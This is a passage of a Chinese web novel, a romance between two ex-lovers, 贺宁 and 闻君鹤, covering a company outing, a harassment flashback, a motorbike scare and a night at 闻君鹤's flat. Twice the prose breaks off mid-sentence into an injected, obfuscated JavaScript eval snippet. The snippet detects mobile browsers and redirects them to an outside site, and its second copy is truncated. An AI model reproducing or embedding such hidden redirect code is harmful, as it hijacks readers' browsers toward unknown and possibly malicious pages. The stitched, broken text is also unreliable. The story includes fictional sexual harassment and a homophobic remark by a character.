贺宁吃饭的时候一直用余光瞥到一直正在打电话的闻君鹤,桌上的菜是都有点辣,杯子里倒的是度数很低的果酒,他刚拿到嘴边刚准备用舌头舔了一口,闻君鹤突然就把眼神放到他这里。 眉头很明显地皱了皱。 贺宁下意识就把杯子放回了桌上。 放完之后他有抬头发现闻君鹤已经把目光收回,贺宁突然检讨自己干嘛怕他。 没事可干,贺宁百无聊赖地低头玩着手机,只想着饭局快点结束。 闻君鹤同时也拿起手机,电话那头是最近在催促他回家的姑姑,因为酒桌上并不吵,他也就安静的听着姑姑在手机对面说着一些家常话,时不时地嗯一声。 他看到贺宁不知在给谁发消息,脸上竟然少见地露出了些笑容。 是在给那个周纪吗? 闻君鹤实在是不知道贺宁看上他什么?和别人纠缠不清的伪君子一个。 “姑姑,过两天我就回来。” 隔得有些远,贺宁看见闻君鹤脸上的表情明显很温柔,远没有对贺宁的那般刻薄。 贺宁隐隐辨认他的口型。 “怎么可能不陪你。” “好好休息,注意身体,别想太多。” 贺宁突然撑着脸转到一边。 饭后大家都转战去了KTV,林珂伸手拦住了想要逃掉的贺宁:“不是吧,明天放假,每次你都逃的最快,家里有人等也不至于这么点空间都不给你吧。” 贺宁被林珂挟持着无奈地往前走。 闻君鹤走在后面,突然听见前面有一个胖子说起贺宁,话里话外都在取笑他的不合群,又跟同伴嘲笑起他的性向。 “我觉得公司应该每年多组织一次体检,我听说同性恋患艾滋病的概率很高,很乱的,我们公司男的多,你没看新闻吗?” 闻君鹤听着他话里的揶揄,突然转头看向那男子开口道:“我们公司的文化里好像没有私下议论同事私生活这一说,章易,你真的有这方面的需求,我可以单独向总部给你申请一年多一次体检,我这边给你走审批。” 那个叫章易的胖子欺软怕硬,瞬间不敢吱声,看着闻君鹤沉下来的脸,大气都不出一口。 闻君鹤平日里给人一种如沐春风之感,可是板起脸时,那种压迫是的的确确存在的。 “闻总……对不起。” “我希望这种情况下次不要再发生。” 闻君鹤挥手让他们过去,他突然开口问向一旁的徐经理:“除了说些风凉话,他们还对贺宁做过更过分的事吗?” 徐经理摇摇头,员工具体私下怎么样他也不是很清楚,不过贺宁从进公司开始就少言寡语,一年到头都说不上几句话。 闻君鹤花了半分钟时间,回忆起了以前那个行事毫无顾忌,自由自在的贺宁,做事全凭喜好的小少爷,走到哪儿都噼里啪啦烧得热闹。 闻君鹤花了两个月重新认识的贺宁,他身上带着那种灰扑扑的压抑感,像是从骨子里渗出来的,窗外的阳光明明很亮,却照不进贺宁那双低垂的眼睛里。 他整个人好像都褪色了。 这种反差让闻君鹤觉得很不舒服。 让他想起在国外那几年,天气总是阴沉沉的,乌云压得很低,像贺宁爱看的那些末日电影里的场景。闻君鹤租的房子离学校很远,坐公交要晃将近一小时。房东把屋子收拾得很温馨,米色墙纸,暖黄灯光,踩上去会微微下陷的灰棕色地毯。 家具都是奶油白的,书柜嵌在墙里,阳台上摆着个懒人沙发,皱巴巴的像是常有人窝在里面看书。 第一次看房时,闻君鹤推开卧室窗户,看见院子里的绣球花。那一瞬间突然想起贺宁家的花房,恒温系统维持着永恒的春天,各色玫瑰开得嚣张跋扈。 而现在这个异国的房间里,只有他一个人,和窗外那些无人打理的绣球,在阴雨天里蔫头耷脑。 他有时候是会怀念国内的好天气。 闻君鹤初回到国内,前东家极力地挽留过他,并且有意向给他升职,附带股权激励的条款,他粗略过了眼条款,的确非常诱人。 韩卿也邀请过他去他们家公司担任副职,他都拒绝了,却执意来了这家只能算中等的公司,他听到过想不通为什么他这位海归精英为什么自降身价这种话。 闻君鹤只知道那天他签完字,转头看向窗外,阳光正好,行道树的影子投在柏油路上,斑驳得像幅水墨画。他突然觉得,比起高薪厚职,这样好的天气更难得。 包厢里有喝大的同事舌头都要打结,有性格外放的女同事用眼神疯狂示意,然后把话筒起哄着递给了闻君鹤。 闻君鹤笑着:“那我献丑了。” 闻君鹤一只脚微微抬起,踩着椅子上,然后点了一首英文歌,是一首英伦乡村小调,从头看到尾声音低转迷人,贺宁坐在沙发上,静静地看着不远处灯光昏暗中的男人,灯光暗下来,闻君鹤的声音低低地荡在包厢里,像杯醇厚的威士忌。 贺宁眨了眨眼睛,在场同样移不开眼睛的大有人在。 简直不敢多看,害怕自己又生出不该有的期待。 贺宁在这种场合是完全隐身的存在,他只是草草吃了几口桌上送的小吃水果,就不免有些犯困,平时这个点儿他已经睡了。 周围同事聊得热火朝天,股票涨跌、国际局势,话题一个比一个高端。以前自己也是这种场合的中心,那时候随便说句话都有人捧着接,贺宁和男同事说不到一起。 父亲倒台后,他像被扒了层皮,从前那些巴结他的人躲得比谁都快。有段时间他自我厌恶到极点,看谁都像在嘲笑自己。现在虽然好些了,但骨子里那股格格不入的感觉还在。包厢空调开得太足,吹得他手脚冰凉,贺宁把脸往衣领里埋了埋,突然觉得困得厉害。 就在贺宁打第三个哈欠的时候,闻君鹤终于说大家可以散了。 贺宁拎起外套,刚准备撤退的时候,闻君鹤突然开口:“贺宁,你没喝酒吧?帮我个忙开一下车,我要去公司拿样东西。” 老实说,贺宁真的讨厌没有边界感的上司。 等贺宁坐在驾驶座上,刚打开准备去公司的导航,闻君鹤突然拿过去换了个地点。 “突然觉得那样东西不重要了,先送我回家吧。” 从贺宁的眼神中,闻君鹤读到了莫名其妙四个字。 “你平日里都在躲我。” 贺宁说没有。 “分手了吗?” 贺宁一下子沉默了。 “我查出一点儿有意思的东西,是关于你那个男朋友的,你清楚他的家世背景吗?你知道周家内斗得很厉害吗?他一定没告诉你他的真实身份,他是周家几年前扫地出门的长子,那天车上那个是他亲弟弟。周家内斗那些破事,他跟你提过半个字吗?” 闻君鹤一说话跟连珠炮似的,信息量太多。 贺宁的确什么都不知道。 闻君鹤哼了一声,也不知是感慨贺宁的无知还是天真。 “我以为你已经不会再感情用事,没想到这么些年过去,你还是一点儿长进都没有。” 贺宁听着闻君鹤的话,沉默了许久。 “……可是,闻君鹤,这些都和你没有关系的。” 贺宁说:“我分不分手跟你好像没有任何关系,我的男朋友和谁纠缠也跟你也没有关系,我们很早以前就分手了。” 闻君鹤冷淡地望着贺宁:“我不需要你来提醒我,我记得非常清楚,是你提出分手这件事。” 他好像很在意这件事。 闻君鹤的语气本身很尖锐,他像是在回忆什么:“现在我才明白,誓言这东西最不值钱。说的时候信誓旦旦,收回的时候比扔垃圾还干脆。” “我那个时候正在找着我们要住的房子,想着我们的未来,但是你却在那个时候准备着随时离开,所以,贺宁在你心里我究竟算什么呢?” 贺宁不知道该怎么回答,面对 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贺宁拿着酒瓶不知所措,说了句抱歉,孟轩突然笑了起来,语气充满了刻薄嘲讽:“我们贺少,哪干过这种活啊?你们这不是为难人家吗?没事儿,来坐,还是我给您倒一杯吧。” 最后一句话很轻浮。 说罢,身边就传来轰然大笑声,笑声更大了,震得贺宁耳膜发疼。 “还叫什么贺少?我听说贺闳兴这下起码牢底坐穿,要论贪啊,还真没人比得过他。” “贺宁啊,你以后的日子就惨了,不过没关系,还有哥几个呢,你这脸呀什么的是真不错,闻君鹤要是养不起你了,尽管开口。” 贺宁听着他们的话,只觉得一刻都不想待下去。 他活这么大,第一次受到这样的羞辱,而韩卿就坐在不远处看着他,眼神里满是兴味。 “……我爸真的是无期吗?” “大差不差了。” 贺宁突然站起身,惨白着脸要往外走,孟轩追了上去。 会所的灯光很明亮,轩一把拽住贺宁的胳膊,手指掐得他生疼。那人凑近了打量他泛红的脸颊,笑得恶劣:“你跑什么,就这么点就受不了,你忘了以前怎么对我们的?哥们都快让你骑到脖子上了,我听说闻君鹤出国了,你被他甩了?” 贺宁恼羞成怒:“关你什么事儿?放开我!” 贺宁长着一张很不错的脸,他皮肤白,现在气得连脖子都红了,在灯光下格外扎眼。 孟轩突然搂住他脖子,嘴唇几乎贴到他耳垂:“走,跟我进去,你说你以后怎么办啊?你爸入狱了,闻君鹤不要你了,你跟韩少说几句软话,以后换我罩着你。” 孟轩手指故意蹭过他发红的颈侧,低声道:“可怜见的,这料子这么糙,脖子都磨红了,现在过得很辛苦吧,多久没吃顿好的啦?都瘦了。” 贺宁浑身发抖,不是怕,是恶心。孟轩以前在他面前连大气都不敢出,现在却敢用这种下流眼神看他。 他猛地推开对方,声音哑得不成调:“你滚!” 孟轩掌心从他的小腹,滑至后腰,压在他的后背上,一把抓住了他的臀部,粗暴地揉捏,露出点笑意,他将鼻子压在贺宁肩上:“装什么?你现在还有什么资格在我面前硬气,当初你也不就这样得到的闻君鹤。” “你跟了我,我还可以让你过上以前的生活,小时候是我把你从水里捞起来救了你,如今风水轮流转,怎么也该轮到我了吧。” 贺宁浑身发抖,他推开了孟轩,给了他一巴掌,两人在推搡挣扎中,贺宁从会所的楼梯上摔了下去摔到了后脑。 他最后意识尚且清晰的时候,看到的就是孟轩睁大双眼,惊恐的面容。 而贺宁当时心中唯一的想法就是。 ——闻君鹤受他父亲威胁的时候,是不是跟他有同样的心情。 屈辱,仇恨还有一股深深的无力感。 他被送到医院,紧急做了手术,但是由于病历部分缺失,出现了麻醉事故,院方一直坚持是意外。 贺宁能下床的时候,他就向闻君鹤提出了分手。 8. 为什么一定要让我分手? 往事突然涌到心头,贺宁咬了咬自己的舌尖,意识才逐渐回拢。 那段决定分手的日子,当时觉得漫长难熬,现在想想其实不过短短几天。直到切身体会过闻君鹤的感受后,贺宁觉得他实在对不起他。 他爱闻君鹤吗?至少他自己是这么认为的。可这份爱带给对方的,却是实打实的伤害。那种被人掐住软肋、不得不低头的无力感,他现在想起来都觉得窒息。 他切身体会过的那种无能为力的羞辱感,他曾经以为的爱,原来只是自私的占有欲作祟。 闻君鹤那么骄傲的人,无法想象他低下头颅时心中所想。 后来贺宁去探监时,终于没忍住质问父亲。贺闳兴隔着玻璃窗坦然承认,确实用闻君鹤姑姑威胁过对方。贺宁气得手发抖,却也知道父亲是爱他的,方式却大错特错。 他也知道父亲该赎罪。 闻君鹤更没错,他只是不喜欢自己而已。贺宁那时站在监狱门口,突然觉得可笑,兜兜转转,原来问题全出在自己身上 因为他喜欢闻君鹤,所以把一切都弄得很糟。 闻君鹤是最不应该卷入他那一团乱的人生里的人。 其实一切就有征兆,闻君鹤对他始终带着若有若无的疏离。恋爱时那些敷衍的回应,勉为其难的约会,贺宁不是没察觉。 贺宁在某些方面是有些迟钝,可对于闻君鹤的事他很敏锐。 在那场婚礼的时候,闻君鹤就可以做到眉眼丝毫无动于衷,好似亲吻他的只是个陌生人,他就该有自觉的。 就像他们之间,从来都是贺宁一个人的独角戏。如今闻君鹤质问他,分手的时候他心里究竟算什么? 贺宁不知道该怎么说。 他亲手杀死了那个虚伪自私的贺宁,亲手结束了那段扭曲的关系,像剜掉自己身上最腐烂的一块肉。 第一次学会忏悔,第一次直面自己糟糕的人生,放闻君鹤离开时,那种痛像是把骨头一根根抽出来。 以前父亲刚出事那会儿,贺宁整夜整夜睡不着,总往闻君鹤怀里钻。 半梦半醒间的闻君鹤会无意识地揉他头发,手臂环住他的腰往怀里带。只有这种时候,贺宁才敢确信自己是被接纳的。天一亮,闻君鹤又会恢复成那副疏离模样,仿佛夜里的温存只是场幻觉。现在想想,那些拥抱和触碰,大概只是睡梦中的本能反应,与爱无关。 他的目光放在闻君鹤微抿唇角上,他真的很为一些细枝末节而心动,比如闻君鹤身上总是带着令人心动的淡淡木质香,看着他微陷的眼窝,和流畅的面部轮廓。 贺宁真的很难不含感情地评价闻君鹤在他心里的位置,二十岁出头的年纪,贺宁就已经想过和这个人过一辈子。 这人早成了他呼吸的一部分,融进骨血里,剜掉会要命的那种。 “……为什么还要回头在意这种事?” 贺宁想闻君鹤为什么要在意这种事儿,他现在有很好的学历,有旧爱在身边,前途一片大好,明明已经什么都有了,为什么还非要来撕开他好不容易愈合的疤。 “贺宁,我凭什么不能在意,被甩的人是我。” 因为不甘心吗? 原本他们这段关系开始得不平等,外人眼里高高在上的是闻君鹤,其实是贺宁的父亲一手操纵的这段关系的开始和结束。 贺宁几不可见地皱了皱眉,轻声道:“那你究竟想怎么样?现在我给你机会,你说一次你甩了我行吗?” 可是明明当初迟早也会分手的,贺宁不懂谁先说究竟有什么关系? “你要先跟那个周纪分手。” 贺宁愣了一下,突然明白过来,这人就是见不得自己好过,他就这么问出了口。 “你是不是见不得我过得好一点。” 不过过了几秒,闻君鹤点头:“对,贺宁,你凭什么能幸福?” 贺宁微微低头:“我不想分。” “公司有个外派去南非的名额,其实也根本用不着我出手,你以为周纪那个弟弟会放任你在他身边吗?” 贺宁这么久以来,难得的一次生气他没想到是闻君贺带给他的。 他不过随口扯了个谎,怎么所有人都当真了似的,非要把这莫须有的“恋情”搅黄,把他们当做情比金坚来拆散。 贺宁最近的确收到过周崇发来的短信,话里话外都在警告他,如果他不离开他哥迟早会给他一个教训。最要命的是附带的照片,虽然关键部位打了码,但那画面还是看得人耳根发热。 贺宁当时惊得差点摔了手机,后来想想周纪最近已经被缠得够烦,索性装没看见。 现在闻君鹤又拿这事做文章,贺宁只觉得自己像是被卷进一场荒诞的闹剧,所有人都入戏,只有他和周纪像个局外人。 要不是前几天答应过周纪要演他男朋友到底,贺宁真想直接跟闻君鹤摊牌,说周纪根本不是他男朋友,说他这些年一直是孤零零一个人,说他早就学会不再奢望谁的喜欢,没谁真心爱他,这下他总该满意了吧? 可话到嘴边,又咽了回去。周纪帮过他太多,他不能毁约。于是贺宁只是别开脸,声音低得几乎听不见:“……随你怎么想。” 贺宁生气时从来不会大吵大闹,反而会突然沉默,闻君鹤很早以前就发现了这点。但以前贺宁几乎从不对他发火,好像在他面前永远没脾气似的,再怎么闹腾都带着点讨好的意味。 可现在,贺宁却因为周纪的事,对他冷了脸。贺宁抿着唇不说话,眼神里的抗拒明明白白。闻君鹤盯着他绷紧的侧脸,突然觉得胸口发闷。 贺宁现在居然为了别人跟他置气。 贺宁把车钥匙扔给闻君鹤,让他自己叫代驾。闻君鹤没接,说今天他必须答应他要分手。 贺宁觉得闻君鹤很无理取闹。 “为什么?为什么一定要让我分手?你以前说什么我都听,可我们现在已经没有关系了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900377|176590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “没有为什么?我就是看见你跟那个姓周的站在一起不爽!” 贺宁像是憋不住,打开车门往下走透口气,闻君鹤目光沉沉看着他下车。 夜风刚拂过贺宁脸颊,不远处突然响起机车刺耳的轰鸣。一辆机车猛地加速,车头直冲他而来,几乎擦着贺宁而过。 闻君鹤几乎是一瞬间开门下车,机车一个急转消失在夜色里,只剩贺宁跌坐在地,脸色煞白,手掌蹭破的伤口渗出血,顺着指尖往下滴。 速度太快,闻君鹤几乎是用尽毕生最快的速度冲过去,却见那辆机车转弯迅速逃离现场。 闻君鹤朝着车尾骂了一句脏话。 贺宁被吓得跌坐在地上,他脸色苍白,一副无害而无助的模样看着闻君鹤。 闻君鹤呼吸都滞住了,他一把抓住贺宁的手腕,指腹蹭过那些擦伤,声音哑得不像自己:“还伤到哪里没?" 贺宁微微发着抖,像只受惊的鸟。闻君然看着贺宁眼睛鹤突里全是惊惶,看得他心脏发紧。 “贺宁,还好吗?” 贺宁被叫回了神,闻君鹤却死死箍住他,掌心压在他后颈上,力道大得几乎要将他揉进骨血里。 刚才那一瞬的恐惧如潮水般漫上来,浸透闻君鹤四肢百骸,连指尖都泛着冷意,直到贺宁叫了他几声,他才从那种溺水般的窒息感中缓过一口气。 闻君鹤抱着他就往车上走,然后又打电话报了警。 闻君鹤坚持要去医院,不由分说地带贺宁做了检查,警察也来了,闻君鹤把刚才危险的情景描述了出来。 警察询问贺宁心中有没有怀疑的人,那条路段的监控今天刚好被人破坏了,毕竟那样气势汹汹,最后也没动真格,好像也只有个恐吓的意思。 警察例行公事的询问里带着几分敷衍,毕竟监控失灵,毕竟无人受伤,毕竟那辆横冲直撞的摩托车最终只是让贺宁擦破了手。 “警官,原来在你眼中只是恐吓?不好意思,在我眼里那跟蓄意谋杀没有什么区别。” “是不是等真出了事,你们才打算处理?” 警察让贺宁留了个他的电话,有情况随时告诉他们。 贺宁的确想到了一个人,就是周崇。 前几日那人威胁还言犹在耳,今天这场“意外”就来得如此凑巧。可那骑手从头到脚裹得严严实实,连半寸皮肤都没露出来,他就算怀疑,也没有半点证据。 他正在沉思中,闻君鹤便作势要带他离开,等他反应过来却发现方向根本不是回他家的。 “你要带我去哪里?” 闻君鹤说,你还想回去再被撞一次吗? “监控为什么坏得那么凑巧?万一他还蹲守在你回去的路上怎么办?” 贺宁其实现在还有些后怕的,他胆子本来就不大,而且闻君鹤说得很有道理。 闻君鹤叫了车,报了个地址,贺宁才意识到他把自己往他家带。 9. 贺宁,我们结婚吧 贺宁说送我回家吧。 闻君鹤根本没听,或者说他听了,但直接当耳旁风略了过去。车窗外的霓虹灯影掠过他的侧脸,明明灭灭,衬得他眉眼显得很锋利。 贺宁又开口的时候,他突然倾身,一只手撑在贺宁身侧的座椅上,压迫感瞬间逼近,呼吸几乎交错。 “你确认回去也没有危险吗?”闻君鹤问,嗓音低沉,字字清晰,像是某种近乎逼问的笃定。 贺宁垂了垂眼,车停了,闻君鹤干脆利落地付了钱,推门下车,动作一气呵成,没给贺宁留半点迟疑的余地。夜风微凉,贺宁刚站定,肩膀就被闻君鹤的手掌扣住,力道不轻不重,却带着不容挣脱的意味。 他们往前走上电梯。 闻君鹤的住处楼层不算高,门锁“咔哒”一声弹开时,贺宁站在门口没动,目光在玄关处短暂地停留了几秒,像是在判断什么,视线不动声色地扫过客厅没有多余的拖鞋,没有陌生的气息,甚至连茶几上的杯子都只有一只,所幸没有他人存在过的痕迹,他微不可察地松了口气,紧绷的肩线稍稍放松下来。 闻君鹤没催他,最终,贺宁还是迈了进去。 贺宁的两只手都被包扎着,根本没办法洗漱。 贺宁看着闻君鹤,又看了看自己的手,终于还是问:“我今天可以不洗脸吗?我在你的沙发上将近一晚上就好。” “不行。”他答得干脆,连商量的余地都没留。 贺宁就知道闻君鹤这个洁癖不会答应。 闻君鹤拿出自己的一套睡衣放在贺宁面前。 贺宁刚想用受伤的手去接,闻君鹤打量了他一下:“你自己能换吗?” 贺宁说我慢慢来,闻君鹤下一刻就动作却利落地抖开睡衣。 “抬手。” 贺宁看着闻君鹤脱下他的上衣,然后套上睡衣。 换睡裤时贺宁明显僵了一下,闻君鹤直接上手拽他裤腰。 两人对视几秒,贺宁抿着嘴妥协了。 裤子褪到脚踝时他浑身绷得死紧,偏偏闻君鹤还故意放慢动作,布料一寸寸擦过皮肤的感觉清晰得让人头皮发麻。 不远处的镜子里映出贺宁的身影,他套着件湖蓝色的绸缎睡衣,领口歪斜地敞着,露出一截清晰的锁骨,在单薄的衣料下显得格外突出。 贺宁肤色很白,是那种常年不见光的冷白,衬得黑发更黑,眉眼更深,整张脸的轮廓都透着一股子漂亮。他这副长相不像贺闳兴,倒是随了他早逝的母亲,那种带着点冷感的精致。 贺宁盯着镜子里的自己看了两秒,无意识地扯了扯过大的领口。睡衣是闻君鹤的,尺寸明显不合身,袖口长出一截,松松垮垮地堆在手腕上。 闻君鹤看着他手腕上的表问要取掉吗? 贺宁摇摇头。 贺宁刚才观察了一下,闻君鹤看着他的身体眼神有多纯粹呢,好像他们过去滚过的床单都是名词。 贺宁曾经看过一本书,探讨过性跟爱,书里写的是爱是稀缺品,具有排他性;而性不过是廉价的消耗品,可以随时补充替换。 闻君鹤对他连消耗情绪都没有,更别说是爱了。 贺宁虽然早就接受了这件事,但还是不免觉得有一丝挫败,他可真是对闻君鹤一点儿吸引力都没有。 闻君鹤将脏衣服丢到了一边。 贺宁受伤的手使不上力,闻君鹤就站在他身后,一手扶着他的肩膀,一手帮他握着牙刷在口腔里移动。薄荷味的泡沫溢出来,顺着贺宁的下巴往下淌,又被闻君鹤用拇指抹去。 毛巾浸了热水,闻君鹤拧得半干才往贺宁脸上擦。力道不轻不重,从额头到下巴都照顾到了,连耳后那块容易忽略的皮肤都没放过。贺宁觉得脸皮发烫,不知道是毛巾太热还是别的什么。 以前他肯定会借着这个机会耍赖,让闻君鹤伺候他洗个全套。现在他只觉得累,连话都懒得说,任由闻君鹤摆弄。 等终于洗干净了,贺宁才被允许睡在了闻君鹤家的沙发上。 折腾完洗漱的事,贺宁终于被允许窝在闻君鹤家的沙发上休息。他累得够呛,几乎是刚沾到靠垫就睡沉了,连姿势都没来得及调整,就那么半蜷着侧躺睡着了。 闻君鹤站在沙发前低头看他。 贺宁身上的睡衣早就蹭得乱七八糟,衣摆卷到后腰,露出一截白皙的腰线,浅色内裤边缘若隐若现。他皮肤本来就白,全身上下一个颜色,在客厅暖光下更显得晃眼。手臂胡乱搭在脸上挡光,肩膀到锁骨那片全露在外面,随着呼吸微微起伏。 闻君鹤盯着看了几秒,转身去卧室扯了条毯子。他动作很快,抖开毯子往贺宁身上一盖,把人裹得严严实实,连脚踝都没露出来。 做完这些,就站在原地没动,就盯着贺宁,眼神沉沉地不知道在想什么。 贺宁在睡梦中无意识地翻了个身,整个人慢慢蜷缩起来,像只虾米似的弓着背。毯子随着他的动作滑落一半,皱巴巴地堆在沙发边缘,眼看着就要掉到地上,闻君鹤弯腰一把捞起。 突然贺宁又转身一动,慢慢地蜷缩成一团,表情委屈地抱住半边毯子,另外一半垂落在地,闻君鹤弯腰拾了起来。 这睡相闻君鹤太熟悉了。 贺宁在床上从来不安分,总喜欢抱着点什么才能睡着,要么就翻来覆去地折腾。 刚开始他们同居那会那会儿闻君鹤也被闹得烦了,有次直接把人整个儿压住,手臂横在贺宁胸口,腿也制着他的膝盖。贺宁居然没怎么挣扎,就那样安安静静地让他压着,呼吸平缓地睡觉了。 后来不知怎么的,这毛病居然真被闻君鹤硬生生给扳过来了。 原来他一个人睡的时候还是这样。 闻君鹤想起贺宁当初追他的时候,提起胸膛,骄傲地告诉他,跟他在一起,他会对他很好很好的。 闻君鹤曾经确认自己不可能改变这种被金钱和权力浸盈出来的霸道,所以他选择不回应。 贺宁于是面对他变得越发焦躁了起来。 闻君鹤第一次见到贺宁时,他确实长得像个天使,皮肤白得晃眼,睫毛又密又长,即使知道这表象底下藏着什么货色,但至少第一眼,他没觉得反感。 当初两个人磨合了好几年,皮肉接触都不知道有多少次,闻君鹤对贺宁身上的每一寸皮肉都熟悉得很。 此刻他俯下身,调整着贺宁的姿势,把他手拿出来,因着姿势的变化,闻君鹤得以看见贺宁后脑有一小块皮肤没有头发,周围的头发盖住平时根本看不出来。 闻君鹤眉头不自觉地拧紧,食指按在那块皮肤上轻轻摩挲。贺宁像是感知到什么,整个人往沙发深处又缩了缩,把脸更深地埋进抱枕里。 怎么会有一块疤。 闻君鹤掏出手机拨了个电话,目光还落在蜷缩在沙发上的贺宁身上。电话接通后他沉默了几秒,声音压得很低:“查所有细节,不管用什么手段,花多少钱都行。” 第二天贺宁是被自己的闹钟吵醒的。 视线逐渐聚焦,陌生的天花板让他愣了两秒才反应过来,这是闻君鹤的家。 晨光从窗帘缝隙漏进来,在地板上投下一道细长的光带。 他摸了摸头发,刚好闻君鹤就从浴室里出来,他穿衬衫,衬衫领口雪白干净,头发往后梳得整齐,露出额头和眉眼,他眉眼是有些古典沉稳的骨相,以前便叫人移不开眼,现在气质越发沉稳,便让人感到一丝压迫。 贺宁心想不愧是公认的闻大校草。 就在贺宁晃神的时候,闻君鹤开口了。 闻君鹤说:“你闹钟怎么那么多,我刚给你顺手关了三个。” 贺宁点点头。 “我让人给你批了几天假,你就先呆在这里。” 贺宁露出个不解的神情:“……啊?不用了,我昨天把事告诉了周哥,他说……” 闻君鹤目光不易察觉一冷:“他能怎么做?如果真是他弟,你觉得他会为了你大义灭亲,警察说了你这几天最好不要回去。” 贺宁也不好意思麻烦闻君鹤:“……我可以先住酒店,我呆在这不太方便。” 闻君鹤想不出有什么不方便:“怎么?怕我对你做什么?” 贺宁不是怕闻君鹤对他做什么,是怕自己对他做什么。 “你那么记挂周纪,他昨晚有关心过你吗?贺宁,有时候真是不懂你,你跟他在一起图什么,还不如我这个分手八百年的前男友,他昨晚有关心你什么吗?说不定他现在正和他那个弟弟混在一起呢?” 贺宁始终不言语,半晌沉默后,开口说:“他没你说的那么坏,算了。” “不坏?就算他跟他弟弟搞在一起你也不介意的是吗?贺宁,你究竟多缺男人,一个人不能活是吧。” 闻君鹤一直觉得贺宁娇气得过分。在贺闳兴出事前,他就是株攀附着父亲生长的菟丝花,离了依靠就活不成。 等靠山倒了,那股子依赖劲儿全转移到了闻君鹤身上,他患得患失,那时候短暂地联系不上闻君鹤就会变得神经兮兮。 什么事都只能依靠他,什么主意都拿不定,是个生活都不能自理的笨蛋。 分手后,他一直在等着贺宁把生活过得一塌糊涂地向他服软。 哭着说自己错了,不要抛弃他。 他连贺宁会怎么哭都想好了:肯定是先死死咬着嘴唇,等憋不住了才开始掉眼泪,睫毛湿成一绺一绺的,说话带着鼻音,手指还要揪着他衣角不放,说闻君鹤别离开我。 闻君鹤甚至提前准备好了擦眼泪的纸巾,就等着那天到来。 闻君鹤从来不觉得这世上能有第三个人,会接受贺宁的无知,浅薄和独占欲。 真的很让人讨厌,不是吗? 可事情偏偏没按他预想的发展。 事实的确如此,他的新男友对他不怎么样,并没有给他提供如同以前一样富足的生活,还出轨,闻君鹤派人查到的照片里,那男的和别人搂搂抱抱的场面都被拍得清清楚楚。但贺宁就跟中了邪似的,还是死心塌地跟着那人好。 可贺宁就跟中蛊了似的离不开他。 闻君鹤每次想到这事就冷笑,心想贺宁这傻劲儿倒是十年如一日,只不过现在犯傻的对象换人了。 贺宁:“……两个人在一起,总比一个人好吧。” 贺宁是看见闻君鹤在社交平台上po出和其他人一起吃饭的照片时,才鼓起勇气问周纪要不要跟他一起吃饭。 他其实很早就想自己带便当,因为公司餐厅的饭又贵又难吃,一个人带去食堂加热很奇怪,可两个人就无端多了几分勇气。 后来的谎言于是信口就来,同事问怎么不参加聚餐,他笑着说要省钱买房;客户热情要给他介绍对象,他低头露出个腼腆的表情说已经有男朋友了。 闻君鹤对于他所谓的二人理论觉得很可笑。 “一个人不行,那当初为什么要分手?” 贺宁抬头看着他,仿佛在说。 怎么还提这件事。 闻君鹤骂了一句脏话:“你今天别去公司,在这里等我。” 闻君鹤扔下他走了,贺宁坐了一会,穿回自己的衣服就离开了闻君鹤家,走出那个小区的时候,他远远瞥见韩卿正往这边走。 贺宁把自己藏起来。 韩卿驾轻就熟就地往前走,他肯定是来闻君鹤家里的,贺宁一个人顺绿化带慢吞吞地走,突然走到一个湖泊公园的时候。 不远处有一对新人在绿茵洒落的路口拍婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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周纪开口说:“我很早就跟家里出了柜,我爸妈本来就不满,我当时还谈了个男朋友,在周崇成年那天,我喝醉了,醒来周崇躺在我床上,那混蛋把自己弄得特别惨,被我爸妈撞了个正着,我爸妈以为我把他强迫了,当时把我打得半死。” 贺宁:“然后你就离家出走了吗?” 周纪摇摇头,接着道:“我以为我真的做了那种禽//兽事,虽然他跟我没有血缘关系,可这么多年,我爸妈把他亲生的养,我也一直把他当亲弟弟,后来我极力补偿他,他要什么我给什么,可是有一天我才知道,那是他做的一场局,目的就是让我能把继承权让给他,我甘拜下风不想跟他争,可他偏偏就是不放过我。” 闻君鹤在公司待了整整一天,会议一个接一个,连午饭都是让助理随便买了点三明治凑合。 下午三点多的时候,他给家里附近的餐厅打了电话,让人送餐上门。二十分钟后餐厅经理亲自回电,语气恭敬里带着点为难:“闻总,您家里好像没人?按了十分钟门铃都没反应。” 闻君鹤把手里燃了一半的香烟狠狠摁灭在烟灰缸里,火星挣扎着闪了两下,彻底熄了,他说放在门口吧,麻烦了。 闻君鹤盯着黑下去的屏幕看了会儿,又拿起手机翻了翻,没有未接来电,没有新消息。 后来的两三天里,贺宁都没有再联络过他。 要复工的前一天,贺宁正在整理工作,手机突然震动起来。 屏幕上显示着陌生号码,他犹豫了两秒才接起来。电话那头只有细微的电流声,安静得让人心慌。正当他准备挂断时,闻君鹤的声音突然刺进耳膜:“贺宁,你还记得昨天是什么日子吗?” 是闻君鹤的声音。 贺宁:“啊?什么日子?你不是说我可以休息几天吗?” 电话那头传来什么东西被砸碎的声响,闻君鹤的呼吸明显变重了,很明显的破防声音:“贺宁,我就这么让你一点都没有留恋吗?” 通话被猛地掐断,忙音嘟嘟作响。 贺宁还在状况外,他翻着日历,盯了很久,皱了皱眉想什么日子,过了很久突然睁大眼睛才想起昨天是闻君鹤的生日。 他是真的忘了。 贺宁以前总把闻君鹤的生日当大事来办。提前半个月就开始念叨,每天变着花样倒计时,活像过生日的是他自己。闻君鹤嫌他烦,他就笑嘻嘻地说这叫仪式感。 最夸张那次,贺宁硬是把闻君鹤从一岁到二十岁的生日礼物全补了个遍。塞了满满一后备箱,虽土,但心意满满,每个盒子上都贴着小卡片,字写得工工整整。闻君鹤当时皱着眉头说他有病,贺宁就趴在礼物堆里笑,说这叫“补全你的人生”。 闻君鹤翻着刚送来的调查报告,纸张在指尖发出轻微的摩擦声。 